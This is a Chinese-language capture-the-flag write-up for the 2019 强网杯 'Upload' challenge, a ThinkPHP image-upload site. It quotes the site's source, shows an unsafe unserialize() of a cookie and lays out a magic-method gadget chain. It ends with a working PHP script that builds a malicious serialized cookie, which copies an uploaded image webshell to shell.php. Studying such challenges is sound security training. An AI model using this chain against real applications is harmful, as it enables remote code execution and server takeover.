[强网杯 2019]Upload
网页的基本功能是注册-登录-传图片
./www.zip.tar可得到源代码
thinkphp框架
和上传图片有关的函数在Profile.php
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
有两个需要绕的地方:对文件名进行png后缀拼接,和getimagesize检测图片。后者是很容易绕的,弄个图片马就行,前者暂时不知道。。
题目源码是由idea缓存文件的,用phpstorm打开有两个断点提示。然而电脑并没装phpstorm,也懒得装了xddd
首先就是Index.php有反序列化的注入点
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}
反序列化的利用方式大体就两种:重写属性和重写方法。这里反序列化之后没有调用其方法,所以就是重写属性,借助魔术方法搞事情。魔术方法存在于Register.php/Profile.php
相关代码(只贴了魔术方法)
Register.php
<?php
namespace app\web\controller;
use think\Controller;
class Register extends Controller
{
public $checker;
public $registed;
public function __construct()
{
$this->checker=new Index();
}
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
Profile.php
<?php
namespace app\web\controller;
use think\Controller;
class Profile extends Controller
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __construct()
{
$this->checker=new Index();
$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
@chdir("../public/upload");
if(!is_dir($this->upload_menu)){
@mkdir($this->upload_menu);
}
@chdir($this->upload_menu);
}
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
链子为:Register类的checker属性给他来个Profile,在Register调用__destruct的时候,依次调用Profile的__call->__get->upload_img
upload_img的第一个if控制属性绕过,第二个if不传文件就行。进入第三个if把事先传上去的图片马复制成php文件。exp如下
<?php
namespace app\web\controller;
class Register
{
public $checker;
public $registed=false;
public function __construct(){
$this->checker=new Profile();
}
}
class Profile
{
public $checker=false;
public $ext=true;
public $filename_tmp = "./upload/cc551ab005b2e60fbdc88de809b2c4b1/249ebf7d9de9da37dff8f080629f40d3.png";
public $filename = "./upload/shell.php";
public $except=array('index'=>'upload_img');
}
echo urlencode(base64_encode(serialize(new Register())));